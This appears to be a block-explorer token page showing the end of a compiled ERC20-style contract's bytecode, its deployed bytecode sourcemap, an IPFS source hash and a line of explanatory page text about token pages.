da1000000610d1c8282610b98565b821015610d3a5750506006549269d3c21bcecceda100000092509050565b90939092509050565b60008183610d645760405162461bcd60e51b81526004016105129190611004565b50600061091484866111ed565b6000806000806000806000806000610d8e8a600854600954610edd565b9250925092506000610d9e610b75565b90506000806000610db18e878787610f32565b919e509c509a509598509396509194505050505091939550919395565b600061099a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506108e3565b600080610e1d8385611280565b90508381101561099a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610512565b6000610e79610b75565b90506000610e878383610f82565b30600090815260026020526040902054909150610ea49082610e10565b30600090815260026020526040902055505050565b600654610ec69083610dce565b600655600754610ed69082610e10565b6007555050565b6000808080610ef76064610ef18989610f82565b90610b98565b90506000610f0a6064610ef18a89610f82565b90506000610f2282610f1c8b86610dce565b90610dce565b9992985090965090945050505050565b6000808080610f418886610f82565b90506000610f4f8887610f82565b90506000610f5d8888610f82565b90506000610f6f82610f1c8686610dce565b939b939a50919850919650505050505050565b600082600003610f9457506000610396565b6000610fa083856111d6565b905082610fad85836111ed565b1461099a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610512565b600060208083528351808285015260005b8181101561103157858101830151858201604001528201611015565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105b357600080fd5b6000806040838503121561107a57600080fd5b823561108581611052565b946020939093013593505050565b6000806000606084860312156110a857600080fd5b83356110b381611052565b925060208401356110c381611052565b929592945050506040919091013590565b6000602082840312156110e657600080fd5b813561099a81611052565b6000806040838503121561110457600080fd5b823561110f81611052565b9150602083013561111f81611052565b809150509250929050565b60006020828403121561113c57600080fd5b8151801515811461099a57600080fd5b60008060006060848603121561116157600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b818103818111156103965761039661117a565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111cb57600080fd5b815161099a81611052565b80820281158282048414176103965761039661117a565b60008261120a57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561125f5784516001600160a01b03168352938301939183019160010161123a565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156103965761039661117a56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c29ab3db0b6601ea2e1a40b55edbde2e392eabd6a50898badb25167be145984e64736f6c63430008120033

Deployed Bytecode Sourcemap

3889:8525:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5518:83;;;;;;;;;;-1:-1:-1;5588:5:0;;;;;;;;;;;;-1:-1:-1;;;5588:5:0;;;;5518:83;;;;;;;:::i;:::-;;;;;;;;4825:27;;;;;;;;;;-1:-1:-1;4825:27:0;;;;-1:-1:-1;;;;;4825:27:0;;;;;;-1:-1:-1;;;;;749:32:1;;;731:51;;719:2;704:18;4825:27:0;567:221:1;6370:161:0;;;;;;;;;;-1:-1:-1;6370:161:0;;;;;:::i;:::-;;:::i;:::-;;;1414:14:1;;1407:22;1389:41;;1377:2;1362:18;6370:161:0;1249:187:1;5795:95:0;;;;;;;;;;-1:-1:-1;4346:12:0;5795:95;;;1587:25:1;;;1575:2;1560:18;5795:95:0;1441:177:1;6539:313:0;;;;;;;;;;-1:-1:-1;6539:313:0;;;;;:::i;:::-;;:::i;5704:83::-;;;;;;;;;;-1:-1:-1;5704:83:0;;4302:2;2226:36:1;;2214:2;2199:18;5704:83:0;2084:184:1;4793:25:0;;;;;;;;;;-1:-1:-1;4793:25:0;;;;-1:-1:-1;;;;;4793:25:0;;;9063:169;;;;;;;;;;-1:-1:-1;9063:169:0;;;;;:::i;:::-;;:::i;:::-;;5898:138;;;;;;;;;;-1:-1:-1;5898:138:0;;;;;:::i;:::-;;:::i;2982:148::-;;;;;;;;;;;;;:::i;2768:79::-;;;;;;;;;;-1:-1:-1;2806:7:0;2833:6;-1:-1:-1;;;;;2833:6:0;2768:79;;5609:87;;;;;;;;;;-1:-1:-1;5681:7:0;;;;;;;;;;;;-1:-1:-1;;;5681:7:0;;;;5609:87;;6044:167;;;;;;;;;;-1:-1:-1;6044:167:0;;;;;:::i;:::-;;:::i;8880:175::-;;;;;;;;;;;;;:::i;6219:143::-;;;;;;;;;;-1:-1:-1;6219:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6327:18:0;;;6300:7;6327:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6219:143;12117:294;;;:::i;4859:22::-;;;;;;;;;;-1:-1:-1;4859:22:0;;;;-1:-1:-1;;;;;4859:22:0;;;6370:161;6445:4;6462:39;259:10;6485:7;6494:6;6462:8;:39::i;:::-;-1:-1:-1;6519:4:0;6370:161;;;;;:::o;6539:313::-;6637:4;6654:36;6664:6;6672:9;6683:6;6654:9;:36::i;:::-;6701:121;6710:6;259:10;6732:89;6770:6;6732:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6732:19:0;;;;;;:11;:19;;;;;;;;259:10;6732:33;;;;;;;;;;:37;:89::i;:::-;6701:8;:121::i;:::-;-1:-1:-1;6840:4:0;6539:313;;;;;:::o;9063:169::-;9150:10;;-1:-1:-1;;;;;9150:10:0;9136;:24;9132:92;;9205:10;;9162:62;;-1:-1:-1;;;9162:62:0;;-1:-1:-1;;;;;3384:15:1;;;9162:62:0;;;3366:34:1;9205:10:0;;;3416:18:1;;;3409:43;3468:18;;;3461:34;;;9177:4:0;;9162:34;;3301:18:1;;9162:62:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9132:92;9063:169;;:::o;5898:138::-;-1:-1:-1;;;;;6011:16:0;;5964:7;6011:16;;;:7;:16;;;;;;5991:37;;:19;:37::i;2982:148::-;2895:6;;-1:-1:-1;;;;;2895:6:0;259:10;2895:22;2887:67;;;;-1:-1:-1;;;2887:67:0;;3990:2:1;2887:67:0;;;3972:21:1;;;4009:18;;;4002:30;4068:34;4048:18;;;4041:62;4120:18;;2887:67:0;;;;;;;;;3089:1:::1;3073:6:::0;;3052:40:::1;::::0;-1:-1:-1;;;;;3073:6:0;;::::1;::::0;3052:40:::1;::::0;3089:1;;3052:40:::1;3120:1;3103:19:::0;;-1:-1:-1;;;;;;3103:19:0::1;::::0;;2982:148::o;6044:167::-;6122:4;6139:42;259:10;6163:9;6174:6;6139:9;:42::i;8880:175::-;8935:21;8971:11;;8967:81;;9007:10;;8999:37;;-1:-1:-1;;;;;9007:10:0;;;;8999:37;;;;;9028:7;;9007:10;8999:37;9007:10;8999:37;9028:7;9007:10;8999:37;;;;;;;;;;;;;;;;;;;8967:81;8906:149;8880:175::o;12117:294::-;2895:6;;-1:-1:-1;;;;;2895:6:0;259:10;2895:22;2887:67;;;;-1:-1:-1;;;2887:67:0;;3990:2:1;2887:67:0;;;3972:21:1;;;4009:18;;;4002:30;4068:34;4048:18;;;4041:62;4120:18;;2887:67:0;3788:356:1;2887:67:0;12179:9:::1;::::0;-1:-1:-1;;;;;12179:9:0::1;:25;12212:21;12243:4;12249:24;12243:4:::0;12249:9:::1;:24::i;:::-;12274:1;12276::::0;12278:7:::1;2806::::0;2833:6;-1:-1:-1;;;;;2833:6:0;;2768:79;12278:7:::1;12179:123;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12179:123:0;;;-1:-1:-1;;;;;4508:15:1;;;12179:123:0::1;::::0;::::1;4490:34:1::0;4540:18;;;4533:34;;;;4583:18;;;4576:34;;;;4626:18;;;4619:34;4690:15;;;4669:19;;;4662:44;12286:15:0::1;4722:19:1::0;;;4715:35;4424:19;;12179:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12322:7:0::1;::::0;12313:37:::1;::::0;-1:-1:-1;;;;;;12322:7:0::1;12339:4;-1:-1:-1::0;;12313:8:0::1;:37::i;:::-;12370:7;::::0;12387:9:::1;::::0;12361:42:::1;::::0;-1:-1:-1;;;;;12370:7:0;;::::1;::::0;12387:9:::1;-1:-1:-1::0;;12361:8:0::1;:42::i;:::-;12117:294::o:0;7467:335::-;-1:-1:-1;;;;;7560:19:0;;7552:68;;;;-1:-1:-1;;;7552:68:0;;5274:2:1;7552:68:0;;;5256:21:1;5313:2;5293:18;;;5286:30;5352:34;5332:18;;;5325:62;-1:-1:-1;;;5403:18:1;;;5396:34;5447:19;;7552:68:0;5072:400:1;7552:68:0;-1:-1:-1;;;;;7639:21:0;;7631:68;;;;-1:-1:-1;;;7631:68:0;;5679:2:1;7631:68:0;;;5661:21:1;5718:2;5698:18;;;5691:30;5757:34;5737:18;;;5730:62;-1:-1:-1;;;5808:18:1;;;5801:32;5850:19;;7631:68:0;5477:398:1;7631:68:0;-1:-1:-1;;;;;7710:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7762:32;;1587:25:1;;;7762:32:0;;1560:18:1;7762:32:0;;;;;;;7467:335;;;:::o;7814:548::-;-1:-1:-1;;;;;7927:24:0;;7894:12;7927:24;;;:18;:24;;;;;;7909:4;;7927:24;;;:50;;-1:-1:-1;;;;;;7955:22:0;;;;;;:18;:22;;;;;;;;7927:50;7924:382;;;-1:-1:-1;8004:5:0;7924:382;;;8046:6;;-1:-1:-1;;;8046:6:0;;;;8045:7;:26;;;;-1:-1:-1;8064:7:0;;-1:-1:-1;;;;;8056:15:0;;;8064:7;;8056:15;;8045:26;8042:253;;;8092:20;8115:24;8133:4;8115:9;:24::i;:::-;8092:47;-1:-1:-1;8161:16:0;;8158:94;;8202:30;8219:12;8202:16;:30::i;:::-;8270:9;:7;:9::i;:::-;8073:222;8042:253;8316:38;8331:4;8336:2;8339:6;8346:7;8316:14;:38::i;:::-;7883:479;7814:548;;;:::o;1314:190::-;1400:7;1436:12;1428:6;;;;1420:29;;;;-1:-1:-1;;;1420:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1460:9:0;1472:5;1476:1;1472;:5;:::i;:::-;1460:17;1314:190;-1:-1:-1;;;;;1314:190:0:o;6860:254::-;6927:7;6966;;6955;:18;;6947:73;;;;-1:-1:-1;;;6947:73:0;;6347:2:1;6947:73:0;;;6329:21:1;6386:2;6366:18;;;6359:30;6425:34;6405:18;;;6398:62;-1:-1:-1;;;6476:18:1;;;6469:40;6526:19;;6947:73:0;6145:406:1;6947:73:0;7031:19;7054:10;:8;:10::i;:::-;7031:33;-1:-1:-1;7082:24:0;:7;7031:33;7082:11;:24::i;:::-;7075:31;6860:254;-1:-1:-1;;;6860:254:0:o;8370:502::-;4953:6;:13;;-1:-1:-1;;;;4953:13:0;-1:-1:-1;;;4953:13:0;;;8469:16:::1;::::0;;8483:1:::1;8469:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8469:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8469:16:0::1;8445:40;;8514:4;8496;8501:1;8496:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8496:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8540:9:::1;::::0;:16:::1;::::0;;-1:-1:-1;;;8540:16:0;;;;:9;;;::::1;::::0;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;8496:7;;8540:16;;;;;:9;:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8530:4;8535:1;8530:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8530:26:0;;::::1;:7;::::0;;::::1;::::0;;;;;:26;8599:9:::1;::::0;8567:56:::1;::::0;8584:4:::1;::::0;8599:9:::1;8611:11:::0;8567:8:::1;:56::i;:::-;4413:3;4399:11;4346:12;4409:1;4399:11;:::i;:::-;:17;;;;:::i;:::-;8642:11;:20;8634:29;;;::::0;::::1;;8674:9;::::0;:190:::1;::::0;-1:-1:-1;;;8674:190:0;;-1:-1:-1;;;;;8674:9:0;;::::1;::::0;:60:::1;::::0;:190:::1;::::0;8749:11;;8674:9:::1;::::0;8791:4;;8818::::1;::::0;8838:15:::1;::::0;8674:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4989:6:0;:14;;-1:-1:-1;;;;4989:14:0;;;-1:-1:-1;;;;8370:502:0:o;9244:263::-;9356:7;9352:40;;9378:14;:12;:14::i;:::-;9403:44;9421:6;9429:9;9440:6;9403:17;:44::i;:::-;9462:7;9458:41;;9484:15;7398;;7388:7;:25;7435:16;;7424:8;:27;7344:115;10848:163;10889:7;10910:15;10927;10946:19;:17;:19::i;:::-;10909:56;;-1:-1:-1;10909:56:0;-1:-1:-1;10983:20:0;10909:56;;10983:11;:20::i;:::-;10976:27;;;;10848:163;:::o;1765:132::-;1823:7;1850:39;1854:1;1857;1850:39;;;;;;;;;;;;;;;;;:3;:39::i;7122:210::-;7168:7;;:12;:29;;;;-1:-1:-1;7184:8:0;;:13;7168:29;7165:41;;;7122:210::o;7165:41::-;7234:7;;;7216:15;:25;7271:8;;;7252:16;:27;-1:-1:-1;7290:11:0;;;;7312:12;7122:210::o;9515:490::-;9614:15;9631:23;9656:12;9670:23;9695:12;9709:13;9726:19;9737:7;9726:10;:19::i;:::-;-1:-1:-1;;;;;9774:15:0;;;;;;:7;:15;;;;;;9613:132;;-1:-1:-1;9613:132:0;;-1:-1:-1;9613:132:0;;-1:-1:-1;9613:132:0;-1:-1:-1;9613:132:0;-1:-1:-1;9613:132:0;-1:-1:-1;9774:28:0;;9613:132;9774:19;:28::i;:::-;-1:-1:-1;;;;;9756:15:0;;;;;;;:7;:15;;;;;;:46;;;;9834:18;;;;;;;:39;;9857:15;9834:22;:39::i;:::-;-1:-1:-1;;;;;9813:18:0;;;;;;:7;:18;;;;;:60;9887:16;9897:5;9887:9;:16::i;:::-;9914:23;9926:4;9932;9914:11;:23::i;:::-;9970:9;-1:-1:-1;;;;;9953:44:0;9962:6;-1:-1:-1;;;;;9953:44:0;;9981:15;9953:44;;;;1587:25:1;;1575:2;1560:18;;1441:177;9953:44:0;;;;;;;;9602:403;;;;;;9515:490;;;:::o;11019:255::-;11116:7;;11069;;;;4346:12;11183:20;11116:7;4346:12;11183:11;:20::i;:::-;11173:7;:30;11170:60;;;-1:-1:-1;;11213:7:0;;;4346:12;;-1:-1:-1;11019:255:0;-1:-1:-1;11019:255:0:o;11170:60::-;11249:7;;11258;;-1:-1:-1;11019:255:0;-1:-1:-1;11019:255:0:o;1905:189::-;1991:7;2026:12;2019:5;2011:28;;;;-1:-1:-1;;;2011:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2050:9:0;2062:5;2066:1;2062;:5;:::i;10013:468::-;10072:7;10081;10090;10099;10108;10117;10138:23;10163:12;10177:13;10194:39;10206:7;10215;;10224:8;;10194:11;:39::i;:::-;10137:96;;;;;;10244:19;10267:10;:8;:10::i;:::-;10244:33;;10289:15;10306:23;10331:12;10347:46;10359:7;10368:4;10374:5;10381:11;10347;:46::i;:::-;10288:105;;-1:-1:-1;10288:105:0;-1:-1:-1;10288:105:0;-1:-1:-1;10444:15:0;;-1:-1:-1;10461:4:0;;-1:-1:-1;10467:5:0;;-1:-1:-1;;;;;10013:468:0;;;;;;;:::o;1170:136::-;1228:7;1255:43;1259:1;1262;1255:43;;;;;;;;;;;;;;;;;:3;:43::i;983:179::-;1041:7;;1073:5;1077:1;1073;:5;:::i;:::-;1061:17;;1102:1;1097;:6;;1089:46;;;;-1:-1:-1;;;1089:46:0;;8788:2:1;1089:46:0;;;8770:21:1;8827:2;8807:18;;;8800:30;8866:29;8846:18;;;8839:57;8913:18;;1089:46:0;8586:351:1;11699:214:0;11752:19;11775:10;:8;:10::i;:::-;11752:33;-1:-1:-1;11796:13:0;11812:22;:5;11752:33;11812:9;:22::i;:::-;11888:4;11872:22;;;;:7;:22;;;;;;11796:38;;-1:-1:-1;11872:33:0;;11796:38;11872:26;:33::i;:::-;11863:4;11847:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;11699:214:0:o;11921:147::-;11999:7;;:17;;12011:4;11999:11;:17::i;:::-;11989:7;:27;12040:10;;:20;;12055:4;12040:14;:20::i;:::-;12027:10;:33;-1:-1:-1;;11921:147:0:o;10489:351::-;10582:7;;;;10635:28;10659:3;10635:19;:7;10647:6;10635:11;:19::i;:::-;:23;;:28::i;:::-;10620:43;-1:-1:-1;10674:13:0;10690:29;10715:3;10690:20;:7;10702;10690:11;:20::i;:29::-;10674:45;-1:-1:-1;10730:23:0;10756:28;10674:45;10756:17;:7;10768:4;10756:11;:17::i;:::-;:21;;:28::i;:::-;10730:54;10820:4;;-1:-1:-1;10826:5:0;;-1:-1:-1;10489:351:0;;-1:-1:-1;;;;;10489:351:0:o;11282:409::-;11392:7;;;;11448:24;:7;11460:11;11448;:24::i;:::-;11430:42;-1:-1:-1;11483:12:0;11498:21;:4;11507:11;11498:8;:21::i;:::-;11483:36;-1:-1:-1;11530:13:0;11546:22;:5;11556:11;11546:9;:22::i;:::-;11530:38;-1:-1:-1;11579:23:0;11605:28;11530:38;11605:17;:7;11617:4;11605:11;:17::i;:28::-;11652:7;;;;-1:-1:-1;11678:4:0;;-1:-1:-1;11282:409:0;;-1:-1:-1;;;;;;;11282:409:0:o;1512:245::-;1570:7;1593:1;1598;1593:6;1590:46;;-1:-1:-1;1623:1:0;1616:8;;1590:46;1646:9;1658:5;1662:1;1658;:5;:::i;:::-;1646:17;-1:-1:-1;1691:1:0;1682:5;1686:1;1646:17;1682:5;:::i;:::-;:10;1674:56;;;;-1:-1:-1;;;1674:56:0;;9144:2:1;1674:56:0;;;9126:21:1;9183:2;9163:18;;;9156:30;9222:34;9202:18;;;9195:62;-1:-1:-1;;;9273:18:1;;;9266:31;9314:19;;1674:56:0;8942:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;793:131::-;-1:-1:-1;;;;;868:31:1;;858:42;;848:70;;914:1;911;904:12;929:315;997:6;1005;1058:2;1046:9;1037:7;1033:23;1029:32;1026:52;;;1074:1;1071;1064:12;1026:52;1113:9;1100:23;1132:31;1157:5;1132:31;:::i;:::-;1182:5;1234:2;1219:18;;;;1206:32;;-1:-1:-1;;;929:315:1:o;1623:456::-;1700:6;1708;1716;1769:2;1757:9;1748:7;1744:23;1740:32;1737:52;;;1785:1;1782;1775:12;1737:52;1824:9;1811:23;1843:31;1868:5;1843:31;:::i;:::-;1893:5;-1:-1:-1;1950:2:1;1935:18;;1922:32;1963:33;1922:32;1963:33;:::i;:::-;1623:456;;2015:7;;-1:-1:-1;;;2069:2:1;2054:18;;;;2041:32;;1623:456::o;2481:247::-;2540:6;2593:2;2581:9;2572:7;2568:23;2564:32;2561:52;;;2609:1;2606;2599:12;2561:52;2648:9;2635:23;2667:31;2692:5;2667:31;:::i;2733:388::-;2801:6;2809;2862:2;2850:9;2841:7;2837:23;2833:32;2830:52;;;2878:1;2875;2868:12;2830:52;2917:9;2904:23;2936:31;2961:5;2936:31;:::i;:::-;2986:5;-1:-1:-1;3043:2:1;3028:18;;3015:32;3056:33;3015:32;3056:33;:::i;:::-;3108:7;3098:17;;;2733:388;;;;;:::o;3506:277::-;3573:6;3626:2;3614:9;3605:7;3601:23;3597:32;3594:52;;;3642:1;3639;3632:12;3594:52;3674:9;3668:16;3727:5;3720:13;3713:21;3706:5;3703:32;3693:60;;3749:1;3746;3739:12;4761:306;4849:6;4857;4865;4918:2;4906:9;4897:7;4893:23;4889:32;4886:52;;;4934:1;4931;4924:12;4886:52;4963:9;4957:16;4947:26;;5013:2;5002:9;4998:18;4992:25;4982:35;;5057:2;5046:9;5042:18;5036:25;5026:35;;4761:306;;;;;:::o;5880:127::-;5941:10;5936:3;5932:20;5929:1;5922:31;5972:4;5969:1;5962:15;5996:4;5993:1;5986:15;6012:128;6079:9;;;6100:11;;;6097:37;;;6114:18;;:::i;6688:127::-;6749:10;6744:3;6740:20;6737:1;6730:31;6780:4;6777:1;6770:15;6804:4;6801:1;6794:15;6820:251;6890:6;6943:2;6931:9;6922:7;6918:23;6914:32;6911:52;;;6959:1;6956;6949:12;6911:52;6991:9;6985:16;7010:31;7035:5;7010:31;:::i;7076:168::-;7149:9;;;7180;;7197:15;;;7191:22;;7177:37;7167:71;;7218:18;;:::i;7249:217::-;7289:1;7315;7305:132;;7359:10;7354:3;7350:20;7347:1;7340:31;7394:4;7391:1;7384:15;7422:4;7419:1;7412:15;7305:132;-1:-1:-1;7451:9:1;;7249:217::o;7471:980::-;7733:4;7781:3;7770:9;7766:19;7812:6;7801:9;7794:25;7838:2;7876:6;7871:2;7860:9;7856:18;7849:34;7919:3;7914:2;7903:9;7899:18;7892:31;7943:6;7978;7972:13;8009:6;8001;7994:22;8047:3;8036:9;8032:19;8025:26;;8086:2;8078:6;8074:15;8060:29;;8107:1;8117:195;8131:6;8128:1;8125:13;8117:195;;;8196:13;;-1:-1:-1;;;;;8192:39:1;8180:52;;8287:15;;;;8252:12;;;;8228:1;8146:9;8117:195;;;-1:-1:-1;;;;;;;8368:32:1;;;;8363:2;8348:18;;8341:60;-1:-1:-1;;;8432:3:1;8417:19;8410:35;8329:3;7471:980;-1:-1:-1;;;7471:980:1:o;8456:125::-;8521:9;;;8542:10;;;8539:36;;;8555:18;;:::i

Swarm Source

ipfs://c29ab3db0b6601ea2e1a40b55edbde2e392eabd6a50898badb25167be145984e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.